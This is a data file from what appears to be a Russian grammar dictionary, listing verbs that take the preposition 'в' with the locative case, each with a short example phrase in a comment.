rus_verbs:подразумевать{}, // подразумевать в задании
rus_verbs:ограбить{}, // ограбить в подворотне
rus_verbs:преуспеть{}, // преуспеть в бизнесе
rus_verbs:заерзать{}, // заерзать в кресле
rus_verbs:разъяснить{}, // разъяснить в другой статье
rus_verbs:продвинуться{}, // продвинуться в изучении
rus_verbs:поколебаться{}, // поколебаться в начале
rus_verbs:засомневаться{}, // засомневаться в честности
rus_verbs:приникнуть{}, // приникнуть в уме
rus_verbs:скривить{}, // скривить в усмешке
rus_verbs:рассечь{}, // рассечь в центре опухоли
rus_verbs:перепутать{}, // перепутать в роддоме
rus_verbs:посмеяться{}, // посмеяться в перерыве
rus_verbs:отмечаться{}, // отмечаться в полицейском участке
rus_verbs:накопиться{}, // накопиться в отстойнике
rus_verbs:уносить{}, // уносить в руках
rus_verbs:навещать{}, // навещать в больнице
rus_verbs:остыть{}, // остыть в проточной воде
rus_verbs:запереться{}, // запереться в комнате
rus_verbs:обогнать{}, // обогнать в первом круге
rus_verbs:убеждаться{}, // убеждаться в неизбежности
rus_verbs:подбирать{}, // подбирать в магазине
rus_verbs:уничтожать{}, // уничтожать в полете
rus_verbs:путаться{}, // путаться в показаниях
rus_verbs:притаиться{}, // притаиться в темноте
rus_verbs:проплывать{}, // проплывать в лодке
rus_verbs:засесть{}, // засесть в окопе
rus_verbs:подцепить{}, // подцепить в баре
rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок
rus_verbs:оправдаться{}, // оправдаться в суде
rus_verbs:созреть{}, // созреть в естественных условиях
rus_verbs:раскрываться{}, // раскрываться в подходящих условиях
rus_verbs:ожидаться{}, // ожидаться в верхней части
rus_verbs:одеваться{}, // одеваться в дорогих бутиках
rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта
rus_verbs:грабить{}, // грабить в подворотне
rus_verbs:ужинать{}, // ужинать в ресторане
rus_verbs:гонять{}, // гонять в жилах
rus_verbs:уверить{}, // уверить в безопасности
rus_verbs:потеряться{}, // потеряться в лесу
rus_verbs:устанавливаться{}, // устанавливаться в комнате
rus_verbs:предоставлять{}, // предоставлять в суде
rus_verbs:протянуться{}, // протянуться в стене
rus_verbs:допрашивать{}, // допрашивать в бункере
rus_verbs:проработать{}, // проработать в кабинете
rus_verbs:сосредоточить{}, // сосредоточить в своих руках
rus_verbs:утвердить{}, // утвердить в должности
rus_verbs:сочинять{}, // сочинять в дороге
rus_verbs:померкнуть{}, // померкнуть в глазах
rus_verbs:показываться{}, // показываться в окошке
rus_verbs:похудеть{}, // похудеть в талии
rus_verbs:проделывать{}, // проделывать в стене
rus_verbs:прославиться{}, // прославиться в интернете
rus_verbs:сдохнуть{}, // сдохнуть в нищете
rus_verbs:раскинуться{}, // раскинуться в степи
rus_verbs:развить{}, // развить в себе способности
rus_verbs:уставать{}, // уставать в цеху
rus_verbs:укрепить{}, // укрепить в земле
rus_verbs:числиться{}, // числиться в списке
rus_verbs:образовывать{}, // образовывать в смеси
rus_verbs:екнуть{}, // екнуть в груди
rus_verbs:одобрять{}, // одобрять в своей речи
rus_verbs:запить{}, // запить в одиночестве
rus_verbs:забыться{}, // забыться в тяжелом сне
rus_verbs:чернеть{}, // чернеть в кислой среде
rus_verbs:размещаться{}, // размещаться в гараже
rus_verbs:соорудить{}, // соорудить в гараже
rus_verbs:развивать{}, // развивать в себе
rus_verbs:пастись{}, // пастись в пойме
rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы
rus_verbs:ослабнуть{}, // ослабнуть в сочленении
rus_verbs:таить{}, // таить в себе
инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке
rus_verbs:приостановиться{}, // приостановиться в конце
rus_verbs:топтаться{}, // топтаться в грязи
rus_verbs:громить{}, // громить в финале
rus_verbs:заменять{}, // заменять в основном составе
rus_verbs:подъезжать{}, // подъезжать в колясках
rus_verbs:вычислить{}, // вычислить в уме
rus_verbs:заказывать{}, // заказывать в магазине
rus_verbs:осуществить{}, // осуществить в реальных условиях
rus_verbs:обосноваться{}, // обосноваться в дупле
rus_verbs:пытать{}, // пытать в камере
rus_verbs:поменять{}, // поменять в магазине
rus_verbs:совершиться{}, // совершиться в суде
rus_verbs:пролетать{}, // пролетать в вертолете
rus_verbs:сбыться{}, // сбыться во сне
rus_verbs:разговориться{}, // разговориться в отделении
rus_verbs:преподнести{}, // преподнести в красивой упаковке
rus_verbs:напечатать{}, // напечатать в типографии
rus_verbs:прорвать{}, // прорвать в центре
rus_verbs:раскачиваться{}, // раскачиваться в кресле
rus_verbs:задерживаться{}, // задерживаться в дверях
rus_verbs:угощать{}, // угощать в кафе
rus_verbs:проступать{}, // проступать в глубине
rus_verbs:шарить{}, // шарить в математике
rus_verbs:увеличивать{}, // увеличивать в конце
rus_verbs:расцвести{}, // расцвести в оранжерее
rus_verbs:закипеть{}, // закипеть в баке
rus_verbs:подлететь{}, // подлететь в вертолете
rus_verbs:рыться{}, // рыться в куче
rus_verbs:пожить{}, // пожить в гостинице
rus_verbs:добираться{}, // добираться в попутном транспорте
rus_verbs:перекрыть{}, // перекрыть в коридоре
rus_verbs:продержаться{}, // продержаться в барокамере
rus_verbs:разыскивать{}, // разыскивать в толпе
rus_verbs:освобождать{}, // освобождать в зале суда
rus_verbs:подметить{}, // подметить в человеке
rus_verbs:передвигаться{}, // передвигаться в узкой юбке
rus_verbs:продумать{}, // продумать в уме
rus_verbs:извиваться{}, // извиваться в траве
rus_verbs:процитировать{}, // процитировать в статье
rus_verbs:прогуливаться{}, // прогуливаться в парке
rus_verbs:защемить{}, // защемить в двери
rus_verbs:увеличиться{}, // увеличиться в объеме
rus_verbs:проявиться{}, // проявиться в результатах
rus_verbs:заскользить{}, // заскользить в ботинках
rus_verbs:пересказать{}, // пересказать в своем выступлении
rus_verbs:протестовать{}, // протестовать в здании парламента
rus_verbs:указываться{}, // указываться в путеводителе
rus_verbs:копошиться{}, // копошиться в песке
rus_verbs:проигнорировать{}, // проигнорировать в своей работе
rus_verbs:купаться{}, // купаться в речке
rus_verbs:подсчитать{}, // подсчитать в уме
rus_verbs:разволноваться{}, // разволноваться в классе
rus_verbs:придумывать{}, // придумывать в своем воображении
rus_verbs:предусмотреть{}, // предусмотреть в программе
rus_verbs:завертеться{}, // завертеться в колесе
rus_verbs:зачерпнуть{}, // зачерпнуть в ручье
rus_verbs:очистить{}, // очистить в химической лаборатории
rus_verbs:прозвенеть{}, // прозвенеть в коридорах
rus_verbs:уменьшиться{}, // уменьшиться в размере
rus_verbs:колыхаться{}, // колыхаться в проточной воде
rus_verbs:ознакомиться{}, // ознакомиться в автобусе
rus_verbs:ржать{}, // ржать в аудитории
rus_verbs:раскинуть{}, // раскинуть в микрорайоне
rus_verbs:разлиться{}, // разлиться в воде
rus_verbs:сквозить{}, // сквозить в словах
rus_verbs:задушить{}, // задушить в объятиях
rus_verbs:осудить{}, // осудить в особом порядке
rus_verbs:разгромить{}, // разгромить в честном поединке
rus_verbs:подслушать{}, // подслушать в кулуарах
rus_verbs:проповедовать{}, // проповедовать в сельских районах
rus_verbs:озарить{}, // озарить во сне
rus_verbs:потирать{}, // потирать в предвкушении
rus_verbs:описываться{}, // описываться в статье
rus_verbs:качаться{}, // качаться в кроватке
rus_verbs:усилить{}, // усилить в центре
rus_verbs:прохаживаться{}, // прохаживаться в новом костюме
rus_verbs:полечить{}, // полечить в больничке
rus_verbs:сниматься{}, // сниматься в римейке
rus_verbs:сыскать{}, // сыскать в наших краях
rus_verbs:поприветствовать{}, // поприветствовать в коридоре
rus_verbs:подтвердиться{}, // подтвердиться в эксперименте
rus_verbs:плескаться{}, // плескаться в теплой водичке
rus_verbs:расширяться{}, // расширяться в первом сегменте
rus_verbs:мерещиться{}, // мерещиться в тумане
rus_verbs:сгущаться{}, // сгущаться в воздухе
rus_verbs:храпеть{}, // храпеть во сне
rus_verbs:подержать{}, // подержать в руках
rus_verbs:накинуться{}, // накинуться в подворотне
rus_verbs:планироваться{}, // планироваться в закрытом режиме
rus_verbs:пробудить{}, // пробудить в себе
rus_verbs:побриться{}, // побриться в ванной
rus_verbs:сгинуть{}, // сгинуть в пучине
rus_verbs:окрестить{}, // окрестить в церкви
инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления
rus_verbs:замкнуться{}, // замкнуться в себе
rus_verbs:прибавлять{}, // прибавлять в весе
rus_verbs:проплыть{}, // проплыть в лодке
rus_verbs:растворяться{}, // растворяться в тумане
rus_verbs:упрекать{}, // упрекать в небрежности
rus_verbs:затеряться{}, // затеряться в лабиринте
rus_verbs:перечитывать{}, // перечитывать в поезде
rus_verbs:перелететь{}, // перелететь в вертолете
rus_verbs:оживать{}, // оживать в теплой воде
rus_verbs:заглохнуть{}, // заглохнуть в полете
rus_verbs:кольнуть{}, // кольнуть в боку
rus_verbs:копаться{}, // копаться в куче
rus_verbs:развлекаться{}, // развлекаться в клубе
rus_verbs:отливать{}, // отливать в кустах
rus_verbs:зажить{}, // зажить в деревне
rus_verbs:одолжить{}, // одолжить в соседнем кабинете
rus_verbs:заклинать{}, // заклинать в своей речи
rus_verbs:различаться{}, // различаться в мелочах
rus_verbs:печататься{}, // печататься в типографии
rus_verbs:угадываться{}, // угадываться в контурах
rus_verbs:обрывать{}, // обрывать в начале
rus_verbs:поглаживать{}, // поглаживать в кармане
rus_verbs:подписывать{}, // подписывать в присутствии понятых
rus_verbs:добывать{}, // добывать в разломе
rus_verbs:скопиться{}, // скопиться в воротах
rus_verbs:повстречать{}, // повстречать в бане
rus_verbs:совпасть{}, // совпасть в упрощенном виде
rus_verbs:разрываться{}, // разрываться в точке спайки
rus_verbs:улавливать{}, // улавливать в датчике
rus_verbs:повстречаться{}, // повстречаться в лифте
rus_verbs:отразить{}, // отразить в отчете
rus_verbs:пояснять{}, // пояснять в примечаниях
rus_verbs:накормить{}, // накормить в столовке
rus_verbs:поужинать{}, // поужинать в ресторане
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить в молоке
rus_verbs:освоить{}, // освоить в работе
rus_verbs:зародиться{}, // зародиться в голове
rus_verbs:отплыть{}, // отплыть в старой лодке
rus_verbs:отстаивать{}, // отстаивать в суде
rus_verbs:осуждать{}, // осуждать в своем выступлении
rus_verbs:переговорить{}, // переговорить в перерыве
rus_verbs:разгораться{}, // разгораться в сердце
rus_verbs:укрыть{}, // укрыть в шалаше
rus_verbs:томиться{}, // томиться в застенках
rus_verbs:клубиться{}, // клубиться в воздухе
rus_verbs:сжигать{}, // сжигать в топке
rus_verbs:позавтракать{}, // позавтракать в кафешке
rus_verbs:функционировать{}, // функционировать в лабораторных условиях
rus_verbs:смять{}, // смять в руке
rus_verbs:разместить{}, // разместить в интернете
rus_verbs:пронести{}, // пронести в потайном кармане
rus_verbs:руководствоваться{}, // руководствоваться в работе
rus_verbs:нашарить{}, // нашарить в потемках
rus_verbs:закрутить{}, // закрутить в вихре
rus_verbs:просматриваться{}, // просматриваться в дальней перспективе
rus_verbs:распознать{}, // распознать в незнакомце
rus_verbs:повеситься{}, // повеситься в камере
rus_verbs:обшарить{}, // обшарить в поисках наркотиков
rus_verbs:наполняться{}, // наполняется в карьере
rus_verbs:засвистеть{}, // засвистеть в воздухе
rus_verbs:процветать{}, // процветать в мягком климате
rus_verbs:шуршать{}, // шуршать в простенке
rus_verbs:подхватывать{}, // подхватывать в полете
инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе
прилагательное:роившийся{}, прилагательное:роящийся{},
// деепричастие:роясь{ aux stress="ро^ясь" },
rus_verbs:преобладать{}, // преобладать в тексте
rus_verbs:посветлеть{}, // посветлеть в лице
rus_verbs:игнорировать{}, // игнорировать в рекомендациях
rus_verbs:обсуждаться{}, // обсуждаться в кулуарах
rus_verbs:отказывать{}, // отказывать в визе
rus_verbs:ощупывать{}, // ощупывать в кармане
rus_verbs:разливаться{}, // разливаться в цеху
rus_verbs:расписаться{}, // расписаться в получении
rus_verbs:учинить{}, // учинить в казарме
rus_verbs:плестись{}, // плестись в хвосте
rus_verbs:объявляться{}, // объявляться в группе
rus_verbs:повышаться{}, // повышаться в первой части
rus_verbs:напрягать{}, // напрягать в паху
rus_verbs:разрабатывать{}, // разрабатывать в студии
rus_verbs:хлопотать{}, // хлопотать в мэрии
rus_verbs:прерывать{}, // прерывать в самом начале
rus_verbs:каяться{}, // каяться в грехах
rus_verbs:освоиться{}, // освоиться в кабине
rus_verbs:подплыть{}, // подплыть в лодке
rus_verbs:замигать{}, // замигать в темноте
rus_verbs:оскорблять{}, // оскорблять в выступлении
rus_verbs:торжествовать{}, // торжествовать в душе
rus_verbs:поправлять{}, // поправлять в прологе
rus_verbs:угадывать{}, // угадывать в размытом изображении
rus_verbs:потоптаться{}, // потоптаться в прихожей
rus_verbs:переправиться{}, // переправиться в лодочке
rus_verbs:увериться{}, // увериться в невиновности
rus_verbs:забрезжить{}, // забрезжить в конце тоннеля
rus_verbs:утвердиться{}, // утвердиться во мнении
rus_verbs:завывать{}, // завывать в трубе
rus_verbs:заварить{}, // заварить в заварнике
rus_verbs:скомкать{}, // скомкать в руке
rus_verbs:перемещаться{}, // перемещаться в капсуле
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле
rus_verbs:праздновать{}, // праздновать в баре
rus_verbs:мигать{}, // мигать в темноте
rus_verbs:обучить{}, // обучить в мастерской
rus_verbs:орудовать{}, // орудовать в кладовке
rus_verbs:упорствовать{}, // упорствовать в заблуждении
rus_verbs:переминаться{}, // переминаться в прихожей
rus_verbs:подрасти{}, // подрасти в теплице
rus_verbs:предписываться{}, // предписываться в законе
rus_verbs:приписать{}, // приписать в конце
rus_verbs:задаваться{}, // задаваться в своей статье
rus_verbs:чинить{}, // чинить в домашних условиях
rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке
rus_verbs:пообедать{}, // пообедать в ресторанчике
rus_verbs:жрать{}, // жрать в чуланчике
rus_verbs:исполняться{}, // исполняться в антракте
rus_verbs:гнить{}, // гнить в тюрьме
rus_verbs:глодать{}, // глодать в конуре
rus_verbs:прослушать{}, // прослушать в дороге
rus_verbs:истратить{}, // истратить в кабаке
rus_verbs:стареть{}, // стареть в одиночестве
rus_verbs:разжечь{}, // разжечь в сердце
rus_verbs:совещаться{}, // совещаться в кабинете
rus_verbs:покачивать{}, // покачивать в кроватке
rus_verbs:отсидеть{}, // отсидеть в одиночке
rus_verbs:формировать{}, // формировать в умах
rus_verbs:захрапеть{}, // захрапеть во сне
rus_verbs:петься{}, // петься в хоре
rus_verbs:объехать{}, // объехать в автобусе
rus_verbs:поселить{}, // поселить в гостинице
rus_verbs:предаться{}, // предаться в книге
rus_verbs:заворочаться{}, // заворочаться во сне
rus_verbs:напрятать{}, // напрятать в карманах
rus_verbs:очухаться{}, // очухаться в незнакомом месте
rus_verbs:ограничивать{}, // ограничивать в движениях
rus_verbs:завертеть{}, // завертеть в руках
rus_verbs:печатать{}, // печатать в редакторе
rus_verbs:теплиться{}, // теплиться в сердце
rus_verbs:увязнуть{}, // увязнуть в зыбучем песке
rus_verbs:усмотреть{}, // усмотреть в обращении
rus_verbs:отыскаться{}, // отыскаться в запасах
rus_verbs:потушить{}, // потушить в горле огонь
rus_verbs:поубавиться{}, // поубавиться в размере
rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти
rus_verbs:смыть{}, // смыть в ванной
rus_verbs:заместить{}, // заместить в кресле
rus_verbs:угасать{}, // угасать в одиночестве
rus_verbs:сразить{}, // сразить в споре
rus_verbs:фигурировать{}, // фигурировать в бюллетене
rus_verbs:расплываться{}, // расплываться в глазах
rus_verbs:сосчитать{}, // сосчитать в уме
rus_verbs:сгуститься{}, // сгуститься в воздухе
rus_verbs:цитировать{}, // цитировать в своей статье
rus_verbs:помяться{}, // помяться в давке
rus_verbs:затрагивать{}, // затрагивать в процессе выполнения
rus_verbs:обтереть{}, // обтереть в гараже
rus_verbs:подстрелить{}, // подстрелить в пойме реки
rus_verbs:растереть{}, // растереть в руке
rus_verbs:подавлять{}, // подавлять в зародыше
rus_verbs:смешиваться{}, // смешиваться в чане
инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке
rus_verbs:сократиться{}, // сократиться в обхвате
rus_verbs:занервничать{}, // занервничать в кабинете
rus_verbs:соприкоснуться{}, // соприкоснуться в полете
rus_verbs:обозначить{}, // обозначить в объявлении
rus_verbs:обучаться{}, // обучаться в училище
rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы
rus_verbs:лелеять{}, // лелеять в сердце
rus_verbs:поддерживаться{}, // поддерживаться в суде
rus_verbs:уплыть{}, // уплыть в лодочке
rus_verbs:резвиться{}, // резвиться в саду
rus_verbs:поерзать{}, // поерзать в гамаке
rus_verbs:оплатить{}, // оплатить в ресторане
rus_verbs:похвастаться{}, // похвастаться в компании
rus_verbs:знакомиться{}, // знакомиться в классе
rus_verbs:приплыть{}, // приплыть в подводной лодке
rus_verbs:зажигать{}, // зажигать в классе
rus_verbs:смыслить{}, // смыслить в математике
rus_verbs:закопать{}, // закопать в огороде
rus_verbs:порхать{}, // порхать в зарослях
rus_verbs:потонуть{}, // потонуть в бумажках
rus_verbs:стирать{}, // стирать в холодной воде
rus_verbs:подстерегать{}, // подстерегать в придорожных кустах
rus_verbs:погулять{}, // погулять в парке
rus_verbs:предвкушать{}, // предвкушать в воображении
rus_verbs:ошеломить{}, // ошеломить в бою
rus_verbs:удостовериться{}, // удостовериться в безопасности
rus_verbs:огласить{}, // огласить в заключительной части
rus_verbs:разбогатеть{}, // разбогатеть в деревне
rus_verbs:грохотать{}, // грохотать в мастерской
rus_verbs:реализоваться{}, // реализоваться в должности
rus_verbs:красть{}, // красть в магазине
rus_verbs:нарваться{}, // нарваться в коридоре
rus_verbs:застывать{}, // застывать в неудобной позе
rus_verbs:толкаться{}, // толкаться в тесной комнате
rus_verbs:извлекать{}, // извлекать в аппарате
rus_verbs:обжигать{}, // обжигать в печи
rus_verbs:запечатлеть{}, // запечатлеть в кинохронике
rus_verbs:тренироваться{}, // тренироваться в зале
rus_verbs:поспорить{}, // поспорить в кабинете
rus_verbs:рыскать{}, // рыскать в лесу
rus_verbs:надрываться{}, // надрываться в шахте
rus_verbs:сняться{}, // сняться в фильме
rus_verbs:закружить{}, // закружить в танце
rus_verbs:затонуть{}, // затонуть в порту
rus_verbs:побыть{}, // побыть в гостях
rus_verbs:почистить{}, // почистить в носу
rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре
rus_verbs:подслушивать{}, // подслушивать в классе
rus_verbs:сгорать{}, // сгорать в танке
rus_verbs:разочароваться{}, // разочароваться в артисте
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках
rus_verbs:мять{}, // мять в руках
rus_verbs:подраться{}, // подраться в классе
rus_verbs:замести{}, // замести в прихожей
rus_verbs:откладываться{}, // откладываться в печени
rus_verbs:обозначаться{}, // обозначаться в перечне
rus_verbs:просиживать{}, // просиживать в интернете
rus_verbs:соприкасаться{}, // соприкасаться в точке
rus_verbs:начертить{}, // начертить в тетрадке
rus_verbs:уменьшать{}, // уменьшать в поперечнике
rus_verbs:тормозить{}, // тормозить в облаке
rus_verbs:затевать{}, // затевать в лаборатории
rus_verbs:затопить{}, // затопить в бухте
rus_verbs:задерживать{}, // задерживать в лифте
rus_verbs:прогуляться{}, // прогуляться в лесу
rus_verbs:прорубить{}, // прорубить во льду
rus_verbs:очищать{}, // очищать в кислоте
rus_verbs:полулежать{}, // полулежать в гамаке
rus_verbs:исправить{}, // исправить в задании
rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи
rus_verbs:замучить{}, // замучить в плену
rus_verbs:разрушаться{}, // разрушаться в верхней части
rus_verbs:ерзать{}, // ерзать в кресле
rus_verbs:покопаться{}, // покопаться в залежах
rus_verbs:раскаяться{}, // раскаяться в содеянном
rus_verbs:пробежаться{}, // пробежаться в парке
rus_verbs:полежать{}, // полежать в гамаке
rus_verbs:позаимствовать{}, // позаимствовать в книге
rus_verbs:снижать{}, // снижать в несколько раз
rus_verbs:черпать{}, // черпать в поэзии
rus_verbs:заверять{}, // заверять в своей искренности
rus_verbs:проглядеть{}, // проглядеть в сумерках
rus_verbs:припарковать{}, // припарковать во дворе
rus_verbs:сверлить{}, // сверлить в стене
rus_verbs:здороваться{}, // здороваться в аудитории
rus_verbs:рожать{}, // рожать в воде
rus_verbs:нацарапать{}, // нацарапать в тетрадке
rus_verbs:затопать{}, // затопать в коридоре
rus_verbs:прописать{}, // прописать в правилах
rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах
rus_verbs:снизить{}, // снизить в несколько раз
rus_verbs:заблуждаться{}, // заблуждаться в своей теории
rus_verbs:откопать{}, // откопать в отвалах
rus_verbs:смастерить{}, // смастерить в лаборатории
rus_verbs:замедлиться{}, // замедлиться в парафине
rus_verbs:избивать{}, // избивать в участке
rus_verbs:мыться{}, // мыться в бане
rus_verbs:сварить{}, // сварить в кастрюльке
rus_verbs:раскопать{}, // раскопать в снегу
rus_verbs:крепиться{}, // крепиться в держателе
rus_verbs:дробить{}, // дробить в мельнице
rus_verbs:попить{}, // попить в ресторанчике
rus_verbs:затронуть{}, // затронуть в душе
rus_verbs:лязгнуть{}, // лязгнуть в тишине
rus_verbs:заправлять{}, // заправлять в полете
rus_verbs:размножаться{}, // размножаться в неволе
rus_verbs:потопить{}, // потопить в Тихом Океане
rus_verbs:кушать{}, // кушать в столовой
rus_verbs:замолкать{}, // замолкать в замешательстве
rus_verbs:измеряться{}, // измеряться в дюймах
rus_verbs:сбываться{}, // сбываться в мечтах
rus_verbs:задернуть{}, // задернуть в комнате
rus_verbs:затихать{}, // затихать в темноте
rus_verbs:прослеживаться{}, // прослеживается в журнале
rus_verbs:прерываться{}, // прерывается в начале
rus_verbs:изображаться{}, // изображается в любых фильмах
rus_verbs:фиксировать{}, // фиксировать в данной точке
rus_verbs:ослаблять{}, // ослаблять в поясе
rus_verbs:зреть{}, // зреть в теплице
rus_verbs:зеленеть{}, // зеленеть в огороде
rus_verbs:критиковать{}, // критиковать в статье
rus_verbs:облететь{}, // облететь в частном вертолете
rus_verbs:разбросать{}, // разбросать в комнате
rus_verbs:заразиться{}, // заразиться в людном месте
rus_verbs:рассеять{}, // рассеять в бою
rus_verbs:печься{}, // печься в духовке
rus_verbs:поспать{}, // поспать в палатке
rus_verbs:заступиться{}, // заступиться в драке
rus_verbs:сплетаться{}, // сплетаться в середине
rus_verbs:поместиться{}, // поместиться в мешке
rus_verbs:спереть{}, // спереть в лавке
// инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде
// инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш },
rus_verbs:проваляться{}, // проваляться в постели
rus_verbs:лечиться{}, // лечиться в стационаре
rus_verbs:определиться{}, // определиться в честном бою
rus_verbs:обработать{}, // обработать в растворе
rus_verbs:пробивать{}, // пробивать в стене
rus_verbs:перемешаться{}, // перемешаться в чане
rus_verbs:чесать{}, // чесать в паху
rus_verbs:пролечь{}, // пролечь в пустынной местности
rus_verbs:скитаться{}, // скитаться в дальних странах
rus_verbs:затрудняться{}, // затрудняться в выборе
rus_verbs:отряхнуться{}, // отряхнуться в коридоре
rus_verbs:разыгрываться{}, // разыгрываться в лотерее
rus_verbs:помолиться{}, // помолиться в церкви
rus_verbs:предписывать{}, // предписывать в рецепте
rus_verbs:порваться{}, // порваться в слабом месте
rus_verbs:греться{}, // греться в здании
rus_verbs:опровергать{}, // опровергать в своем выступлении
rus_verbs:помянуть{}, // помянуть в своем выступлении
rus_verbs:допросить{}, // допросить в прокуратуре
rus_verbs:материализоваться{}, // материализоваться в соседнем здании
rus_verbs:рассеиваться{}, // рассеиваться в воздухе
rus_verbs:перевозить{}, // перевозить в вагоне
rus_verbs:отбывать{}, // отбывать в тюрьме
rus_verbs:попахивать{}, // попахивать в отхожем месте
rus_verbs:перечислять{}, // перечислять в заключении
rus_verbs:зарождаться{}, // зарождаться в дебрях
rus_verbs:предъявлять{}, // предъявлять в своем письме
rus_verbs:распространять{}, // распространять в сети
rus_verbs:пировать{}, // пировать в соседнем селе
rus_verbs:начертать{}, // начертать в летописи
rus_verbs:расцветать{}, // расцветать в подходящих условиях
rus_verbs:царствовать{}, // царствовать в южной части материка
rus_verbs:накопить{}, // накопить в буфере
rus_verbs:закрутиться{}, // закрутиться в рутине
rus_verbs:отработать{}, // отработать в забое
rus_verbs:обокрасть{}, // обокрасть в автобусе
rus_verbs:прокладывать{}, // прокладывать в снегу
rus_verbs:ковырять{}, // ковырять в носу
rus_verbs:копить{}, // копить в очереди
rus_verbs:полечь{}, // полечь в степях
rus_verbs:щебетать{}, // щебетать в кустиках
rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении
rus_verbs:посеять{}, // посеять в огороде
rus_verbs:разъезжать{}, // разъезжать в кабриолете
rus_verbs:замечаться{}, // замечаться в лесу
rus_verbs:просчитать{}, // просчитать в уме
rus_verbs:маяться{}, // маяться в командировке
rus_verbs:выхватывать{}, // выхватывать в тексте
rus_verbs:креститься{}, // креститься в деревенской часовне
rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты
rus_verbs:настигать{}, // настигать в огороде
rus_verbs:разгуливать{}, // разгуливать в роще
rus_verbs:насиловать{}, // насиловать в квартире
rus_verbs:побороть{}, // побороть в себе
rus_verbs:учитывать{}, // учитывать в расчетах
rus_verbs:искажать{}, // искажать в заметке
rus_verbs:пропить{}, // пропить в кабаке
rus_verbs:катать{}, // катать в лодочке
rus_verbs:припрятать{}, // припрятать в кармашке
rus_verbs:запаниковать{}, // запаниковать в бою
rus_verbs:рассыпать{}, // рассыпать в траве
rus_verbs:застревать{}, // застревать в ограде
rus_verbs:зажигаться{}, // зажигаться в сумерках
rus_verbs:жарить{}, // жарить в масле
rus_verbs:накапливаться{}, // накапливаться в костях
rus_verbs:распуститься{}, // распуститься в горшке
rus_verbs:проголосовать{}, // проголосовать в передвижном пункте
rus_verbs:странствовать{}, // странствовать в автомобиле
rus_verbs:осматриваться{}, // осматриваться в хоромах
rus_verbs:разворачивать{}, // разворачивать в спортзале
rus_verbs:заскучать{}, // заскучать в самолете
rus_verbs:напутать{}, // напутать в расчете
rus_verbs:перекусить{}, // перекусить в столовой
rus_verbs:спасаться{}, // спасаться в автономной капсуле
rus_verbs:посовещаться{}, // посовещаться в комнате
rus_verbs:доказываться{}, // доказываться в статье
rus_verbs:познаваться{}, // познаваться в беде
rus_verbs:загрустить{}, // загрустить в одиночестве
rus_verbs:оживить{}, // оживить в памяти
rus_verbs:переворачиваться{}, // переворачиваться в гробу
rus_verbs:заприметить{}, // заприметить в лесу
rus_verbs:отравиться{}, // отравиться в забегаловке
rus_verbs:продержать{}, // продержать в клетке
rus_verbs:выявить{}, // выявить в костях
rus_verbs:заседать{}, // заседать в совете
rus_verbs:расплачиваться{}, // расплачиваться в первой кассе
rus_verbs:проломить{}, // проломить в двери
rus_verbs:подражать{}, // подражать в мелочах
rus_verbs:подсчитывать{}, // подсчитывать в уме
rus_verbs:опережать{}, // опережать во всем
rus_verbs:сформироваться{}, // сформироваться в облаке
rus_verbs:укрепиться{}, // укрепиться в мнении
rus_verbs:отстоять{}, // отстоять в очереди
rus_verbs:развертываться{}, // развертываться в месте испытания
rus_verbs:замерзать{}, // замерзать во льду
rus_verbs:утопать{}, // утопать в снегу
rus_verbs:раскаиваться{}, // раскаиваться в содеянном
rus_verbs:организовывать{}, // организовывать в пионерлагере
rus_verbs:перевестись{}, // перевестись в наших краях
rus_verbs:смешивать{}, // смешивать в блендере
rus_verbs:ютиться{}, // ютиться в тесной каморке
rus_verbs:прождать{}, // прождать в аудитории
rus_verbs:подыскивать{}, // подыскивать в женском общежитии
rus_verbs:замочить{}, // замочить в сортире
rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке
rus_verbs:растирать{}, // растирать в ступке
rus_verbs:замедлять{}, // замедлять в парафине
rus_verbs:переспать{}, // переспать в палатке
rus_verbs:рассекать{}, // рассекать в кабриолете
rus_verbs:отыскивать{}, // отыскивать в залежах
rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении
rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке
rus_verbs:укрываться{}, // укрываться в землянке
rus_verbs:запечься{}, // запечься в золе
rus_verbs:догорать{}, // догорать в темноте
rus_verbs:застилать{}, // застилать в коридоре
rus_verbs:сыскаться{}, // сыскаться в деревне
rus_verbs:переделать{}, // переделать в мастерской
rus_verbs:разъяснять{}, // разъяснять в своей лекции
rus_verbs:селиться{}, // селиться в центре
rus_verbs:оплачивать{}, // оплачивать в магазине
rus_verbs:переворачивать{}, // переворачивать в закрытой банке
rus_verbs:упражняться{}, // упражняться в остроумии
rus_verbs:пометить{}, // пометить в списке
rus_verbs:припомниться{}, // припомниться в завещании
rus_verbs:приютить{}, // приютить в амбаре
rus_verbs:натерпеться{}, // натерпеться в темнице
rus_verbs:затеваться{}, // затеваться в клубе
rus_verbs:уплывать{}, // уплывать в лодке
rus_verbs:скиснуть{}, // скиснуть в бидоне
rus_verbs:заколоть{}, // заколоть в боку
rus_verbs:замерцать{}, // замерцать в темноте
rus_verbs:фиксироваться{}, // фиксироваться в протоколе
rus_verbs:запираться{}, // запираться в комнате
rus_verbs:съезжаться{}, // съезжаться в каретах
rus_verbs:толочься{}, // толочься в ступе
